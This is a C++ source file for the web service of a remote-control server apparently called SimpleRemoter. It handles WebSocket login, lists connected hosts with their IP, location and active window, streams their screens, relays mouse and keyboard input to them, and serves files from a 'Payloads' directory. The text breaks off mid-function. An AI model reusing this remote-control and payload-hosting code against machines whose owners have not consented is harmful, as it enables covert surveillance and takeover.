Files
SimpleRemoter/server/2015Remote/WebService.cpp
2026-04-19 22:55:21 +02:00

1324 lines
44 KiB
C++

#include "stdafx.h"
#include "2015Remote.h"
#include "WebService.h"
#include "WebServiceAuth.h"
#include "2015RemoteDlg.h"
#include "Server.h" // For CONTEXT_OBJECT
#include "jsoncpp/json.h"
#include "WebPage.h"
#include "SimpleWebSocket.h"
#include "common/commands.h"
#include <filesystem>
// Algorithm constants (same as ScreenSpyDlg.cpp)
#define ALGORITHM_H264 2
#pragma comment(lib, "ws2_32.lib")
// Challenge-response nonce storage (prevents replay attacks)
static std::map<void*, std::string> s_ClientNonces;
static std::mutex s_NonceMutex;
static std::atomic<bool> s_bShuttingDown{false}; // Prevents access during static destruction
// Generate random nonce (32 hex chars) - thread-safe
static std::string GenerateNonce() {
if (s_bShuttingDown) return "";
static std::random_device rd;
static std::mt19937_64 gen(rd());
std::uniform_int_distribution<uint64_t> dis;
char buf[33];
{
std::lock_guard<std::mutex> lock(s_NonceMutex);
sprintf_s(buf, "%016llx%016llx", dis(gen), dis(gen));
}
return buf;
}
// Store nonce for client
static void StoreNonce(void* ws_ptr, const std::string& nonce) {
if (s_bShuttingDown) return;
std::lock_guard<std::mutex> lock(s_NonceMutex);
s_ClientNonces[ws_ptr] = nonce;
}
// Get and clear nonce for client (one-time use)
static std::string ConsumeNonce(void* ws_ptr) {
if (s_bShuttingDown) return "";
std::lock_guard<std::mutex> lock(s_NonceMutex);
auto it = s_ClientNonces.find(ws_ptr);
if (it == s_ClientNonces.end()) return "";
std::string nonce = it->second;
s_ClientNonces.erase(it);
return nonce;
}
// Clear nonce when client disconnects
static void ClearNonce(void* ws_ptr) {
if (s_bShuttingDown) return;
std::lock_guard<std::mutex> lock(s_NonceMutex);
s_ClientNonces.erase(ws_ptr);
}
// Helper: Convert ANSI (GBK) string to UTF-8
static std::string AnsiToUtf8(const CString& str) {
if (str.IsEmpty()) return "";
#ifdef _UNICODE
// Unicode build: CString is already UTF-16, convert to UTF-8
int len = WideCharToMultiByte(CP_UTF8, 0, str, -1, NULL, 0, NULL, NULL);
if (len <= 0) return "";
std::string result(len - 1, '\0');
WideCharToMultiByte(CP_UTF8, 0, str, -1, &result[0], len, NULL, NULL);
return result;
#else
// MBCS build: CString is ANSI (GBK), need to convert to UTF-16 first, then to UTF-8
int wlen = MultiByteToWideChar(CP_ACP, 0, str, -1, NULL, 0);
if (wlen <= 0) return "";
std::wstring wstr(wlen - 1, L'\0');
MultiByteToWideChar(CP_ACP, 0, str, -1, &wstr[0], wlen);
int u8len = WideCharToMultiByte(CP_UTF8, 0, wstr.c_str(), -1, NULL, 0, NULL, NULL);
if (u8len <= 0) return "";
std::string result(u8len - 1, '\0');
WideCharToMultiByte(CP_UTF8, 0, wstr.c_str(), -1, &result[0], u8len, NULL, NULL);
return result;
#endif
}
//////////////////////////////////////////////////////////////////////////
// CWebService Implementation
//////////////////////////////////////////////////////////////////////////
CWebService& CWebService::Instance() {
static CWebService instance;
return instance;
}
CWebService::CWebService()
: m_bRunning(false)
, m_bStopping(false)
, m_pServer(nullptr)
, m_pParentDlg(nullptr)
, m_nMaxClientsPerDevice(10)
, m_nTokenExpireSeconds(86400) // 24 hours
, m_bHideWebSessions(true) // Hide web-triggered dialogs by default
{
// Secret key will be initialized in Start() via WSAuth::Init()
// Admin user will be configured via SetAdminPassword()
// Initialize payloads directory
char exe_path[MAX_PATH];
GetModuleFileNameA(NULL, exe_path, MAX_PATH);
std::filesystem::path exeDir = std::filesystem::path(exe_path).parent_path();
m_PayloadsDir = (exeDir / "Payloads").string();
std::error_code ec;
std::filesystem::create_directories(m_PayloadsDir, ec);
}
void CWebService::SetAdminPassword(const std::string& password) {
m_Users.clear();
WebUser admin;
admin.username = "admin";
admin.salt = ""; // Not used with challenge-response auth
admin.password_hash = WSAuth::ComputeSHA256(password); // Simple SHA256
admin.role = "admin";
m_Users.push_back(admin);
Mprintf("[WebService] Admin password configured\n");
}
CWebService::~CWebService() {
Stop();
}
bool CWebService::Start(int port) {
if (m_bRunning) return true;
// Initialize authorization and get secret key
// Pass raw authorization string, verified internally by private library
WSAuthContext authCtx;
std::string authStr = THIS_CFG.GetStr("settings", "Authorization", "");
if (!WSAuth::Init(authCtx, authStr)) {
Mprintf("[WebService] Authorization check failed, service disabled\n");
return false;
}
m_SecretKey = authCtx.secretKey;
m_nTokenExpireSeconds = authCtx.tokenExpireSec;
m_nMaxClientsPerDevice = authCtx.maxClientsPerDevice;
m_bStopping = false;
m_ServerThread = std::thread(&CWebService::ServerThread, this, port);
// Wait for server to start
for (int i = 0; i < 50 && !m_bRunning; i++) {
std::this_thread::sleep_for(std::chrono::milliseconds(100));
}
// Start heartbeat thread
if (m_bRunning) {
m_HeartbeatThread = std::thread(&CWebService::HeartbeatThread, this);
}
return m_bRunning;
}
void CWebService::Stop() {
if (!m_bRunning) return;
// Set flags FIRST to prevent new operations from starting
m_bRunning = false;
m_bStopping = true;
s_bShuttingDown = true; // Prevent access to static variables
// Stop heartbeat thread first
if (m_HeartbeatThread.joinable()) {
m_HeartbeatThread.join();
}
if (m_ServerThread.joinable()) {
m_ServerThread.join();
}
// Clear all clients after server stopped
{
std::lock_guard<std::mutex> lock(m_ClientsMutex);
m_Clients.clear();
}
// Clear screen contexts to prevent dangling pointers
{
std::lock_guard<std::mutex> lock(m_ScreenContextsMutex);
m_ScreenContexts.clear();
}
// Clear device cache
{
std::lock_guard<std::mutex> lock(m_DeviceCacheMutex);
m_DeviceCache.clear();
}
m_pServer = nullptr;
m_pParentDlg = nullptr; // Clear to prevent access to destroyed dialog
}
bool CWebService::IsRunning() const {
return m_bRunning;
}
void CWebService::ServerThread(int port) {
ws::Server wsServer;
m_pServer = &wsServer;
// Serve static HTML page and file downloads
static std::string cachedHtml = GetWebPageHTML();
std::string payloadsDir = m_PayloadsDir; // Capture for lambda
wsServer.onHttp([payloadsDir](const std::string& path) -> ws::HttpResponse {
if (path == "/" || path == "/index.html") {
return ws::HttpResponse::OK(cachedHtml);
} else if (path == "/health") {
return ws::HttpResponse::OK("{\"status\":\"ok\"}", "application/json");
} else if (path == "/manifest.json") {
// PWA manifest for iOS standalone app support
static const char* manifest = R"({
"name": "SimpleRemoter",
"short_name": "Remoter",
"start_url": "/",
"display": "standalone",
"orientation": "any",
"background_color": "#1a1a2e",
"theme_color": "#1a1a2e"
})";
return ws::HttpResponse::OK(manifest, "application/manifest+json");
} else if (path.rfind("/payloads/", 0) == 0) {
// File download: /payloads/filename
std::string filename = path.substr(10); // Remove "/payloads/"
// Security check: no path traversal or absolute paths
if (filename.empty() ||
filename.find("..") != std::string::npos || // Path traversal
filename[0] == '/' || filename[0] == '\\' || // Absolute path (Unix/Windows)
(filename.length() > 1 && filename[1] == ':')) // Windows drive letter (C:)
{
return ws::HttpResponse::Forbidden();
}
std::filesystem::path filepath = std::filesystem::path(payloadsDir) / filename;
std::error_code ec;
if (!std::filesystem::exists(filepath, ec) || !std::filesystem::is_regular_file(filepath, ec)) {
return ws::HttpResponse::NotFound();
}
return ws::HttpResponse::File(filepath.string(), filename);
}
return ws::HttpResponse::NotFound();
});
// WebSocket connect
wsServer.onConnect([this](std::shared_ptr<ws::Connection> conn) {
// Skip if server is stopping
if (m_bStopping) return;
void* ws_ptr = conn.get();
RegisterClient(ws_ptr, conn->clientIP());
// Generate and send challenge nonce
std::string nonce = GenerateNonce();
if (nonce.empty()) return; // Shutting down
StoreNonce(ws_ptr, nonce);
Json::Value challenge;
challenge["cmd"] = "challenge";
challenge["nonce"] = nonce;
Json::StreamWriterBuilder builder;
builder["indentation"] = "";
SendText(ws_ptr, Json::writeString(builder, challenge));
});
// WebSocket disconnect
wsServer.onDisconnect([this](std::shared_ptr<ws::Connection> conn) {
// Skip cleanup if server is stopping (destructor will clean up)
if (m_bStopping) return;
void* ws_ptr = conn.get();
ClearNonce(ws_ptr);
UnregisterClient(ws_ptr);
});
// WebSocket message
wsServer.onMessage([this](std::shared_ptr<ws::Connection> conn, const std::string& msg) {
// Skip if server is stopping
if (m_bStopping) return;
void* ws_ptr = conn.get();
// Update last activity time for heartbeat
{
std::lock_guard<std::mutex> lock(m_ClientsMutex);
auto it = m_Clients.find(ws_ptr);
if (it != m_Clients.end()) {
it->second.last_activity = (uint64_t)time(nullptr);
}
}
// Parse JSON signaling
Json::Value root;
Json::Reader reader;
if (reader.parse(msg, root)) {
std::string cmd = root.get("cmd", "").asString();
std::string token = root.get("token", "").asString();
if (cmd == "login") {
HandleLogin(ws_ptr, msg, conn->clientIP());
} else if (cmd == "get_devices") {
HandleGetDevices(ws_ptr, token);
} else if (cmd == "connect") {
// Support both string and number ID formats
std::string id_str = root.get("id", "").asString();
uint64_t device_id = id_str.empty() ? 0 : strtoull(id_str.c_str(), nullptr, 10);
HandleConnect(ws_ptr, token, device_id);
} else if (cmd == "disconnect") {
HandleDisconnect(ws_ptr, token);
} else if (cmd == "ping") {
HandlePing(ws_ptr, token);
} else if (cmd == "mouse") {
HandleMouse(ws_ptr, msg);
} else if (cmd == "key") {
HandleKey(ws_ptr, msg);
} else if (cmd == "rdp_reset") {
HandleRdpReset(ws_ptr, token);
}
}
});
// Start listening
if (wsServer.start(port)) {
m_bRunning = true;
// Wait until stop is requested
while (!m_bStopping && wsServer.isRunning()) {
std::this_thread::sleep_for(std::chrono::milliseconds(100));
}
wsServer.stop();
}
m_bRunning = false;
}
void CWebService::HeartbeatThread() {
Mprintf("[WebService] Heartbeat thread started (interval=%ds, timeout=%ds)\n",
HEARTBEAT_INTERVAL_SEC, HEARTBEAT_TIMEOUT_SEC);
while (!m_bStopping) {
// Sleep in small increments to respond quickly to stop
for (int i = 0; i < HEARTBEAT_INTERVAL_SEC * 10 && !m_bStopping; i++) {
std::this_thread::sleep_for(std::chrono::milliseconds(100));
}
if (m_bStopping) break;
// Send ping to all WebSocket connections
// Copy pointer first to avoid race with Stop()
void* pServer = m_pServer;
if (pServer && !m_bStopping) {
auto* wsServer = static_cast<ws::Server*>(pServer);
if (wsServer->isRunning()) {
wsServer->pingAll();
}
}
// Check for timed out clients
uint64_t now = (uint64_t)time(nullptr);
std::vector<void*> timedOutClients;
{
std::lock_guard<std::mutex> lock(m_ClientsMutex);
for (const auto& [ws_ptr, client] : m_Clients) {
// Only check clients that are watching a device (streaming video)
if (client.watch_device_id > 0 && client.last_activity > 0) {
uint64_t elapsed = now - client.last_activity;
if (elapsed > HEARTBEAT_TIMEOUT_SEC) {
timedOutClients.push_back(ws_ptr);
Mprintf("[WebService] Client %s timed out (no activity for %llu seconds)\n",
client.client_ip.c_str(), elapsed);
}
}
}
}
// Disconnect timed out clients (outside lock to avoid deadlock)
for (void* ws_ptr : timedOutClients) {
UnregisterClient(ws_ptr);
}
}
Mprintf("[WebService] Heartbeat thread stopped\n");
}
//////////////////////////////////////////////////////////////////////////
// Signaling Handlers
//////////////////////////////////////////////////////////////////////////
void CWebService::HandleLogin(void* ws_ptr, const std::string& msg, const std::string& client_ip) {
Json::Value root;
Json::Reader reader;
if (!reader.parse(msg, root)) {
SendText(ws_ptr, BuildJsonResponse("login_result", false, "Invalid JSON"));
return;
}
std::string username = root.get("username", "").asString();
std::string response = root.get("response", "").asString();
std::string clientNonce = root.get("nonce", "").asString();
// Verify nonce matches (prevents replay)
std::string storedNonce = ConsumeNonce(ws_ptr);
if (storedNonce.empty() || storedNonce != clientNonce) {
SendText(ws_ptr, BuildJsonResponse("login_result", false, "Invalid or expired challenge"));
return;
}
// Check rate limit
if (!CheckRateLimit(client_ip)) {
SendText(ws_ptr, BuildJsonResponse("login_result", false, "Too many failed attempts. Try again later."));
return;
}
// Check if password is configured
if (m_Users.empty()) {
SendText(ws_ptr, BuildJsonResponse("login_result", false, "Server password not configured"));
return;
}
// Find user
WebUser* user = nullptr;
for (auto& u : m_Users) {
if (u.username == username) {
user = &u;
break;
}
}
if (!user) {
RecordFailedLogin(client_ip);
SendText(ws_ptr, BuildJsonResponse("login_result", false, "Invalid credentials"));
return;
}
// Verify challenge response: response = SHA256(passwordHash + nonce)
std::string expectedResponse = WSAuth::ComputeSHA256(user->password_hash + clientNonce);
if (response != expectedResponse) {
RecordFailedLogin(client_ip);
SendText(ws_ptr, BuildJsonResponse("login_result", false, "Invalid credentials"));
return;
}
// Success - generate token
RecordSuccessLogin(client_ip);
std::string token = GenerateToken(username, user->role);
// Update client state
{
std::lock_guard<std::mutex> lock(m_ClientsMutex);
auto it = m_Clients.find(ws_ptr);
if (it != m_Clients.end()) {
it->second.token = token;
it->second.username = username;
it->second.role = user->role;
}
}
// Build response
Json::Value res;
res["cmd"] = "login_result";
res["ok"] = true;
res["token"] = token;
res["role"] = user->role;
res["expires"] = m_nTokenExpireSeconds;
Json::StreamWriterBuilder builder;
builder["indentation"] = "";
SendText(ws_ptr, Json::writeString(builder, res));
}
void CWebService::HandleGetDevices(void* ws_ptr, const std::string& token) {
std::string username, role;
if (!ValidateToken(token, username, role)) {
SendText(ws_ptr, BuildJsonResponse("device_list", false, "Invalid token"));
return;
}
SendText(ws_ptr, BuildDeviceListJson());
}
void CWebService::HandleConnect(void* ws_ptr, const std::string& token, uint64_t device_id) {
std::string username, role;
if (!ValidateToken(token, username, role)) {
SendText(ws_ptr, BuildJsonResponse("connect_result", false, "Invalid token"));
return;
}
// Check device exists and is online
if (!m_pParentDlg) {
SendText(ws_ptr, BuildJsonResponse("connect_result", false, "Service not ready"));
return;
}
context* ctx = m_pParentDlg->FindHost(device_id);
if (!ctx) {
SendText(ws_ptr, BuildJsonResponse("connect_result", false, "Device not online"));
return;
}
// Check max clients per device
int current_count = GetWebClientCount(device_id);
if (current_count >= m_nMaxClientsPerDevice) {
SendText(ws_ptr, BuildJsonResponse("connect_result", false, "Too many viewers"));
return;
}
// Update client state
{
std::lock_guard<std::mutex> lock(m_ClientsMutex);
auto it = m_Clients.find(ws_ptr);
if (it != m_Clients.end()) {
it->second.watch_device_id = device_id;
}
}
// Start remote desktop session if this is the first web viewer
if (current_count == 0) {
if (!StartRemoteDesktop(device_id)) {
SendText(ws_ptr, BuildJsonResponse("connect_result", false, "Failed to start remote desktop"));
return;
}
}
// Get screen dimensions from device info cache (may not be available yet)
int width = 0, height = 0;
{
std::lock_guard<std::mutex> lock(m_DeviceCacheMutex);
auto it = m_DeviceCache.find(device_id);
if (it != m_DeviceCache.end()) {
width = it->second->screen_width;
height = it->second->screen_height;
}
}
// Build success response
Json::Value res;
res["cmd"] = "connect_result";
res["ok"] = true;
// Only include dimensions if we have valid cached values
// Otherwise, client will wait for resolution_changed message
if (width > 0 && height > 0) {
res["width"] = width;
res["height"] = height;
}
res["algorithm"] = "h264";
Json::StreamWriterBuilder builder;
builder["indentation"] = "";
SendText(ws_ptr, Json::writeString(builder, res));
// Send cached keyframe if available
{
std::lock_guard<std::mutex> lock(m_DeviceCacheMutex);
auto it = m_DeviceCache.find(device_id);
if (it != m_DeviceCache.end() && !it->second->keyframe_cache.empty()) {
std::lock_guard<std::mutex> cache_lock(it->second->cache_mutex);
auto packet = BuildFramePacket(device_id, true,
it->second->keyframe_cache.data(),
it->second->keyframe_cache.size());
SendBinary(ws_ptr, packet.data(), packet.size());
}
}
}
void CWebService::HandleDisconnect(void* ws_ptr, const std::string& token) {
std::string username, role;
if (!ValidateToken(token, username, role)) {
SendText(ws_ptr, BuildJsonResponse("disconnect_result", false, "Invalid token"));
return;
}
// Get the device_id before clearing watch state
uint64_t device_id = 0;
{
std::lock_guard<std::mutex> lock(m_ClientsMutex);
auto it = m_Clients.find(ws_ptr);
if (it != m_Clients.end()) {
device_id = it->second.watch_device_id;
it->second.watch_device_id = 0;
}
}
// Close remote desktop if this was the last viewer
if (device_id > 0) {
StopRemoteDesktop(device_id);
}
SendText(ws_ptr, BuildJsonResponse("disconnect_result", true));
}
void CWebService::HandlePing(void* ws_ptr, const std::string& token) {
Json::Value res;
res["cmd"] = "pong";
res["time"] = (Json::Int64)time(nullptr);
Json::StreamWriterBuilder builder;
builder["indentation"] = "";
SendText(ws_ptr, Json::writeString(builder, res));
}
void CWebService::HandleMouse(void* ws_ptr, const std::string& msg) {
// Parse JSON
Json::Value root;
Json::Reader reader;
if (!reader.parse(msg, root)) {
return;
}
std::string token = root.get("token", "").asString();
std::string type = root.get("type", "").asString();
int x = root.get("x", 0).asInt();
int y = root.get("y", 0).asInt();
int button = root.get("button", 0).asInt();
int delta = root.get("delta", 0).asInt();
// Validate token
std::string username, role;
if (!ValidateToken(token, username, role)) {
return;
}
// Get device being watched
uint64_t device_id = 0;
{
std::lock_guard<std::mutex> lock(m_ClientsMutex);
auto it = m_Clients.find(ws_ptr);
if (it != m_Clients.end()) {
device_id = it->second.watch_device_id;
it->second.last_activity = (uint64_t)time(nullptr);
}
}
if (device_id == 0) return;
// Get screen context (not main context!)
CONTEXT_OBJECT* ctx = GetScreenContext(device_id);
if (!ctx) {
return;
}
// Build MSG64 structure
MSG64 msg64;
memset(&msg64, 0, sizeof(MSG64));
msg64.pt.x = x;
msg64.pt.y = y;
msg64.lParam = MAKELPARAM(x, y);
msg64.time = GetTickCount();
// Map type and button to Windows message
if (type == "down") {
if (button == 0) {
msg64.message = WM_LBUTTONDOWN;
msg64.wParam = MK_LBUTTON;
} else if (button == 1) {
msg64.message = WM_MBUTTONDOWN;
msg64.wParam = MK_MBUTTON;
} else if (button == 2) {
msg64.message = WM_RBUTTONDOWN;
msg64.wParam = MK_RBUTTON;
}
} else if (type == "up") {
if (button == 0) {
msg64.message = WM_LBUTTONUP;
} else if (button == 1) {
msg64.message = WM_MBUTTONUP;
} else if (button == 2) {
msg64.message = WM_RBUTTONUP;
}
} else if (type == "move") {
msg64.message = WM_MOUSEMOVE;
} else if (type == "wheel") {
msg64.message = WM_MOUSEWHEEL;
// WM_MOUSEWHEEL: HIWORD(wParam) = wheel delta, LOWORD(wParam) = key flags
// Normalize: browser delta is usually ±100+, Windows expects ±120
short wheelDelta = (short)(delta > 0 ? -120 : (delta < 0 ? 120 : 0));
msg64.wParam = MAKEWPARAM(0, wheelDelta);
} else if (type == "dblclick") {
if (button == 0) {
msg64.message = WM_LBUTTONDBLCLK;
msg64.wParam = MK_LBUTTON;
} else if (button == 2) {
msg64.message = WM_RBUTTONDBLCLK;
msg64.wParam = MK_RBUTTON;
}
} else {
return; // Unknown type
}
// Send command to device
const int length = sizeof(MSG64) + 1;
BYTE szData[length + 4];
szData[0] = COMMAND_SCREEN_CONTROL;
memcpy(szData + 1, &msg64, sizeof(MSG64));
ctx->Send2Client(szData, length);
}
void CWebService::HandleKey(void* ws_ptr, const std::string& msg) {
// Parse JSON
Json::Value root;
Json::Reader reader;
if (!reader.parse(msg, root)) {
return;
}
std::string token = root.get("token", "").asString();
int keyCode = root.get("keyCode", 0).asInt();
bool isDown = root.get("down", false).asBool();
bool altKey = root.get("alt", false).asBool();
// Filter Windows keys (same as MFC version)
if (keyCode == VK_LWIN || keyCode == VK_RWIN) {
return;
}
// Validate token
std::string username, role;
if (!ValidateToken(token, username, role)) {
return;
}
// Get device being watched
uint64_t device_id = 0;
{
std::lock_guard<std::mutex> lock(m_ClientsMutex);
auto it = m_Clients.find(ws_ptr);
if (it != m_Clients.end()) {
device_id = it->second.watch_device_id;
it->second.last_activity = (uint64_t)time(nullptr);
}
}
if (device_id == 0) return;
// Get screen context
CONTEXT_OBJECT* ctx = GetScreenContext(device_id);
if (!ctx) {
return;
}
// Build MSG64 structure
MSG64 msg64;
memset(&msg64, 0, sizeof(MSG64));
// Use WM_SYSKEYDOWN/UP for Alt combinations (same as MFC version)
if (altKey) {
msg64.message = isDown ? WM_SYSKEYDOWN : WM_SYSKEYUP;
} else {
msg64.message = isDown ? WM_KEYDOWN : WM_KEYUP;
}
msg64.wParam = keyCode;
msg64.time = GetTickCount();
// Build lParam for keyboard message:
// bits 0-15: repeat count (1)
// bits 16-23: scan code
// bit 24: extended key flag
// bit 29: context code (1 if Alt is pressed)
// bit 30: previous key state (1 for keyup)
// bit 31: transition state (1 for keyup)
UINT scanCode = MapVirtualKey(keyCode, MAPVK_VK_TO_VSC);
// Extended keys: arrows, insert, delete, home, end, page up/down, numpad enter, etc.
bool isExtended = (keyCode >= VK_PRIOR && keyCode <= VK_DOWN) || // Page Up/Down, End, Home, Arrows
keyCode == VK_INSERT || keyCode == VK_DELETE ||
keyCode == VK_NUMLOCK || keyCode == VK_RCONTROL || keyCode == VK_RMENU ||
keyCode == VK_APPS;
LPARAM lParam = 1; // repeat count = 1
lParam |= (scanCode & 0xFF) << 16;
if (isExtended) lParam |= (1 << 24);
if (altKey) lParam |= (1 << 29); // context code for Alt
if (!isDown) lParam |= (3UL << 30); // bit 30 and 31 set for key up
msg64.lParam = lParam;
// Send command to device
const int length = sizeof(MSG64) + 1;
BYTE szData[length + 4];
szData[0] = COMMAND_SCREEN_CONTROL;
memcpy(szData + 1, &msg64, sizeof(MSG64));
ctx->Send2Client(szData, length);
}
void CWebService::HandleRdpReset(void* ws_ptr, const std::string& token) {
std::string username, role;
if (!ValidateToken(token, username, role)) {
SendText(ws_ptr, BuildJsonResponse("rdp_reset_result", false, "Invalid token"));
return;
}
// Get the device being watched by this client
uint64_t device_id = 0;
{
std::lock_guard<std::mutex> lock(m_ClientsMutex);
auto it = m_Clients.find(ws_ptr);
if (it != m_Clients.end()) {
device_id = it->second.watch_device_id;
}
}
if (device_id == 0) {
SendText(ws_ptr, BuildJsonResponse("rdp_reset_result", false, "No device connected"));
return;
}
// Get screen context (not main context!)
CONTEXT_OBJECT* ctx = GetScreenContext(device_id);
if (!ctx) {
Mprintf("[WebService] HandleRdpReset: No screen context for device %llu\n", device_id);
SendText(ws_ptr, BuildJsonResponse("rdp_reset_result", false, "No active screen session"));
return;
}
// Send CMD_RESTORE_CONSOLE command to client
BYTE bToken = CMD_RESTORE_CONSOLE;
if (ctx->Send2Client(&bToken, 1)) {
Mprintf("[WebService] Sent RDP reset command to device %llu\n", device_id);
SendText(ws_ptr, BuildJsonResponse("rdp_reset_result", true));
} else {
SendText(ws_ptr, BuildJsonResponse("rdp_reset_result", false, "Failed to send command"));
}
}
//////////////////////////////////////////////////////////////////////////
// Token Management (delegated to WebServiceAuth module)
//////////////////////////////////////////////////////////////////////////
std::string CWebService::GenerateToken(const std::string& username, const std::string& role) {
return WSAuth::GenerateToken(username, role, m_nTokenExpireSeconds);
}
bool CWebService::ValidateToken(const std::string& token, std::string& username, std::string& role) {
return WSAuth::ValidateToken(token, username, role);
}
//////////////////////////////////////////////////////////////////////////
// Client Management
//////////////////////////////////////////////////////////////////////////
void CWebService::RegisterClient(void* ws_ptr, const std::string& client_ip) {
std::lock_guard<std::mutex> lock(m_ClientsMutex);
WebClient client;
client.client_ip = client_ip;
client.connected_at = (uint64_t)time(nullptr);
client.last_activity = client.connected_at; // Initialize for heartbeat
m_Clients[ws_ptr] = client;
}
void CWebService::UnregisterClient(void* ws_ptr) {
uint64_t device_id = 0;
// Get device_id and remove client
{
std::lock_guard<std::mutex> lock(m_ClientsMutex);
auto it = m_Clients.find(ws_ptr);
if (it != m_Clients.end()) {
device_id = it->second.watch_device_id;
m_Clients.erase(it);
}
}
// Close remote desktop if this was the last viewer
if (device_id > 0) {
StopRemoteDesktop(device_id);
}
}
WebClient* CWebService::FindClient(void* ws_ptr) {
auto it = m_Clients.find(ws_ptr);
return (it != m_Clients.end()) ? &it->second : nullptr;
}
int CWebService::GetWebClientCount(uint64_t device_id) {
std::lock_guard<std::mutex> lock(m_ClientsMutex);
int count = 0;
for (const auto& [ptr, client] : m_Clients) {
if (client.watch_device_id == device_id) {
count++;
}
}
return count;
}
//////////////////////////////////////////////////////////////////////////
// Rate Limiting
//////////////////////////////////////////////////////////////////////////
bool CWebService::CheckRateLimit(const std::string& ip) {
std::lock_guard<std::mutex> lock(m_LoginMutex);
auto it = m_LoginAttempts.find(ip);
if (it == m_LoginAttempts.end()) return true;
return time(nullptr) >= it->second.locked_until;
}
void CWebService::RecordFailedLogin(const std::string& ip) {
std::lock_guard<std::mutex> lock(m_LoginMutex);
auto& attempt = m_LoginAttempts[ip];
attempt.failed_count++;
if (attempt.failed_count >= 3) {
attempt.locked_until = time(nullptr) + 3600; // Lock for 1 hour
attempt.failed_count = 0;
Mprintf("[WebService] IP %s locked for 1 hour due to failed login attempts\n", ip.c_str());
}
}
void CWebService::RecordSuccessLogin(const std::string& ip) {
std::lock_guard<std::mutex> lock(m_LoginMutex);
m_LoginAttempts.erase(ip);
}
//////////////////////////////////////////////////////////////////////////
// Password Verification (delegated to WebServiceAuth module)
//////////////////////////////////////////////////////////////////////////
bool CWebService::VerifyPassword(const std::string& input, const WebUser& user) {
return WSAuth::VerifyPassword(input, user.password_hash, user.salt);
}
std::string CWebService::ComputeHash(const std::string& input) {
return WSAuth::ComputeSHA256(input);
}
//////////////////////////////////////////////////////////////////////////
// JSON Helpers
//////////////////////////////////////////////////////////////////////////
std::string CWebService::BuildJsonResponse(const std::string& cmd, bool ok, const std::string& msg) {
Json::Value res;
res["cmd"] = cmd;
res["ok"] = ok;
if (!msg.empty()) {
res["msg"] = msg;
}
Json::StreamWriterBuilder builder;
builder["indentation"] = "";
return Json::writeString(builder, res);
}
std::string CWebService::BuildDeviceListJson() {
Json::Value res;
res["cmd"] = "device_list";
res["devices"] = Json::Value(Json::arrayValue);
if (m_pParentDlg) {
// Access device list with lock
EnterCriticalSection(&m_pParentDlg->m_cs);
for (context* ctx : m_pParentDlg->m_HostList) {
if (!ctx || !ctx->IsLogin()) continue;
Json::Value device;
// Use string for ID to avoid JavaScript number precision loss
device["id"] = std::to_string(ctx->GetClientID());
CString name = ctx->GetClientData(ONLINELIST_COMPUTER_NAME);
device["name"] = AnsiToUtf8(name);
CString ip = ctx->GetClientData(ONLINELIST_IP);
device["ip"] = AnsiToUtf8(ip);
CString os = ctx->GetClientData(ONLINELIST_OS);
device["os"] = AnsiToUtf8(os);
CString location = ctx->GetClientData(ONLINELIST_LOCATION);
device["location"] = AnsiToUtf8(location);
CString rtt = ctx->GetClientData(ONLINELIST_PING);
device["rtt"] = AnsiToUtf8(rtt);
CString version = ctx->GetClientData(ONLINELIST_VERSION);
device["version"] = AnsiToUtf8(version);
CString activeWindow = ctx->GetClientData(ONLINELIST_LOGINTIME);
device["activeWindow"] = AnsiToUtf8(activeWindow);
device["online"] = true;
// Get screen info from client's reported resolution
// Format: "n:MxN" where n=monitor count, M=width, N=height
CString resolution = ctx->GetAdditionalData(RES_RESOLUTION);
if (!resolution.IsEmpty()) {
device["screen"] = AnsiToUtf8(resolution); // e.g. "2:3840x1080"
}
res["devices"].append(device);
}
LeaveCriticalSection(&m_pParentDlg->m_cs);
}
Json::StreamWriterBuilder builder;
builder["indentation"] = "";
return Json::writeString(builder, res);
}
//////////////////////////////////////////////////////////////////////////
// WebSocket Send Helpers
//////////////////////////////////////////////////////////////////////////
void CWebService::SendText(void* ws_ptr, const std::string& text) {
if (!ws_ptr || m_bStopping) return;
ws::Connection* conn = (ws::Connection*)ws_ptr;
if (!conn->isClosed()) {
conn->send(text);
}
}
void CWebService::SendBinary(void* ws_ptr, const uint8_t* data, size_t len) {
if (!ws_ptr || !data || len == 0 || m_bStopping) return;
ws::Connection* conn = (ws::Connection*)ws_ptr;
if (!conn->isClosed()) {
conn->sendBinary(data, len);
}
}
//////////////////////////////////////////////////////////////////////////
// Frame Broadcasting
//////////////////////////////////////////////////////////////////////////
std::vector<uint8_t> CWebService::BuildFramePacket(uint64_t device_id, bool is_keyframe,
const uint8_t* data, size_t len) {
// Packet format: [DeviceID:4][FrameType:1][DataLen:4][H264Data:N]
std::vector<uint8_t> packet;
packet.reserve(9 + len);
// DeviceID (4 bytes, little-endian, truncated to 32-bit for JS compatibility)
uint32_t id32 = (uint32_t)(device_id & 0xFFFFFFFF);
packet.push_back((id32 >> 0) & 0xFF);
packet.push_back((id32 >> 8) & 0xFF);
packet.push_back((id32 >> 16) & 0xFF);
packet.push_back((id32 >> 24) & 0xFF);
// FrameType (1 byte): 0=P, 1=IDR
packet.push_back(is_keyframe ? 1 : 0);
// DataLen (4 bytes, little-endian)
uint32_t data_len = (uint32_t)len;
packet.push_back((data_len >> 0) & 0xFF);
packet.push_back((data_len >> 8) & 0xFF);
packet.push_back((data_len >> 16) & 0xFF);
packet.push_back((data_len >> 24) & 0xFF);
// H264 Data
packet.insert(packet.end(), data, data + len);
return packet;
}
void CWebService::BroadcastFrame(uint64_t device_id, const uint8_t* data, size_t len, bool is_keyframe) {
if (!data || len == 0 || m_bStopping) return;
// Build packet once
auto packet = BuildFramePacket(device_id, is_keyframe, data, len);
// Broadcast to all watching clients
std::lock_guard<std::mutex> lock(m_ClientsMutex);
for (auto& [ws_ptr, client] : m_Clients) {
if (client.watch_device_id == device_id) {
SendBinary(ws_ptr, packet.data(), packet.size());
}
}
}
void CWebService::CacheKeyframe(uint64_t device_id, const uint8_t* data, size_t len) {
if (!data || len == 0 || m_bStopping) return;
std::lock_guard<std::mutex> lock(m_DeviceCacheMutex);
auto it = m_DeviceCache.find(device_id);
if (it == m_DeviceCache.end()) {
m_DeviceCache[device_id] = std::make_shared<WebDeviceInfo>();
it = m_DeviceCache.find(device_id);
}
std::lock_guard<std::mutex> cache_lock(it->second->cache_mutex);
it->second->keyframe_cache.assign(data, data + len);
}
void CWebService::BroadcastH264Frame(uint64_t device_id, const uint8_t* data, size_t len) {
// The data is already a complete packet: [DeviceID:4][FrameType:1][DataLen:4][H264Data:N]
if (!data || len < 9 || m_bStopping) return;
// Broadcast to all watching clients
std::lock_guard<std::mutex> lock(m_ClientsMutex);
int sent_count = 0;
for (auto& [ws_ptr, client] : m_Clients) {
